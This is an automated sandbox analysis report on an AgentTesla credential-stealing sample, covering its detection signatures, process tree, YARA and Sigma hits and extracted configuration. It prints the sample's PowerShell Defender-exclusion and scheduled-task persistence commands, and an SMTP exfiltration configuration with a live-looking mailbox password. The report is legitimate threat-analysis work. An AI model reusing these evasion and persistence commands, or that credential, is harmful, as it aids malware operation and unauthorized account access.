Edit tour

Windows Analysis Report
oBMlky3Rkm7h5QK.exe

Overview

General Information

Sample name:	oBMlky3Rkm7h5QK.exe
Analysis ID:	1417528
MD5:	596365c750c4f8e60a966e220e35e7d9
SHA1:	234b7114f19589e1768670361e2a4cd7328f8c75
SHA256:	e77c8ca31128a1a181b99a8234f39559854855d871d7abe167e004bb970e7f3c
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to log keystrokes (.Net Source)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Tries to load missing DLLs

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

oBMlky3Rkm7h5QK.exe (PID: 3544 cmdline: "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe" MD5: 596365C750C4F8E60A966E220E35E7D9)

powershell.exe (PID: 1132 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 2360 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 1292 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7060 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 1936 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

ECXXCuFHUVw.exe (PID: 2136 cmdline: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe MD5: 596365C750C4F8E60A966E220E35E7D9)

schtasks.exe (PID: 4032 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpF51D.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 3636 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

qZeUnR.exe (PID: 6596 cmdline: "C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

conhost.exe (PID: 4620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

qZeUnR.exe (PID: 5752 cmdline: "C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

conhost.exe (PID: 1132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.pacificindia.com", "Username": "hr@pacificindia.com", "Password": "FEYEjBLgGnyw"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.2133378984.0000000002571000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2133378984.0000000002571000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.3307025913.0000000003348000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2133378984.000000000259C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2104684722.0000000004A32000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2104684722.0000000004A32000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2131866829.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2131866829.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.2155259832.00000000046ED000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2155259832.00000000046ED000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2104684722.000000000410C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2104684722.000000000410C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.3307025913.0000000003301000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.3307025913.0000000003301000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: oBMlky3Rkm7h5QK.exe PID: 3544	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: oBMlky3Rkm7h5QK.exe PID: 3544	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: oBMlky3Rkm7h5QK.exe PID: 3544	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 1936	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 1936	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: ECXXCuFHUVw.exe PID: 2136	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ECXXCuFHUVw.exe PID: 2136	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: ECXXCuFHUVw.exe PID: 2136	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 3636	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 3636	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x339c2:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33a34:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33abe:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33b50:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33bba:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33c2c:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33cc2:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33d52:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.ECXXCuFHUVw.exe.4728ae8.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.ECXXCuFHUVw.exe.4728ae8.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.ECXXCuFHUVw.exe.4728ae8.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x339c2:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33a34:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33abe:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33b50:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33bba:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33c2c:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33cc2:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33d52:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.ECXXCuFHUVw.exe.4728ae8.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.ECXXCuFHUVw.exe.4728ae8.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.ECXXCuFHUVw.exe.4728ae8.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31bc2:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31c34:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31cbe:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31d50:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31dba:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31e2c:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31ec2:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31f52:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.ECXXCuFHUVw.exe.46edac8.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.ECXXCuFHUVw.exe.46edac8.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.ECXXCuFHUVw.exe.46edac8.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31bc2:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31c34:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31cbe:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31d50:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31dba:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31e2c:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31ec2:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31f52:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31bc2:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31c34:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31cbe:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31d50:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31dba:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31e2c:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31ec2:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31f52:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31bc2:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31c34:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31cbe:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31d50:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31dba:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31e2c:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31ec2:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31f52:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.ECXXCuFHUVw.exe.46edac8.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.ECXXCuFHUVw.exe.46edac8.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.ECXXCuFHUVw.exe.46edac8.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x339c2:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6e9e2:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33a34:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ea54:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33abe:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6eade:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33b50:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6eb70:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33bba:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ebda:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33c2c:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6ec4c:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33cc2:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ece2:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33d52:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6ed72:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x339c2:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6e9e2:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33a34:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ea54:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33abe:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6eade:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33b50:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6eb70:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33bba:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ebda:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33c2c:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6ec4c:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33cc2:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ece2:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33d52:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6ed72:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x339c2:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33a34:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33abe:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33b50:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33bba:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33c2c:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33cc2:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33d52:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 24 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe", ParentImage: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe, ParentProcessId: 3544, ParentProcessName: oBMlky3Rkm7h5QK.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe", ProcessId: 1132, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 1936, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\qZeUnR

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpF51D.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpF51D.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe, ParentImage: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe, ParentProcessId: 2136, ParentProcessName: ECXXCuFHUVw.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpF51D.tmp", ProcessId: 4032, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 23.226.124.127, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, Initiated: true, ProcessId: 1936, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe", ParentImage: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe, ParentProcessId: 3544, ParentProcessName: oBMlky3Rkm7h5QK.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp", ProcessId: 7060, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe", ParentImage: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe, ParentProcessId: 3544, ParentProcessName: oBMlky3Rkm7h5QK.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe", ProcessId: 1132, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe", ParentImage: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe, ParentProcessId: 3544, ParentProcessName: oBMlky3Rkm7h5QK.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp", ProcessId: 7060, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 10.2.ECXXCuFHUVw.exe.4728ae8.5.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.pacificindia.com", "Username": "hr@pacificindia.com", "Password": "FEYEjBLgGnyw"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Virustotal: Detection: 69%			Perma Link

Multi AV Scanner detection for submitted file

Source: oBMlky3Rkm7h5QK.exe	ReversingLabs: Detection: 68%
Source: oBMlky3Rkm7h5QK.exe	Virustotal: Detection: 59%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: oBMlky3Rkm7h5QK.exe

Joe Sandbox ML: detected

Source: oBMlky3Rkm7h5QK.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.6:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.6:49706 version: TLS 1.2

Source: oBMlky3Rkm7h5QK.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

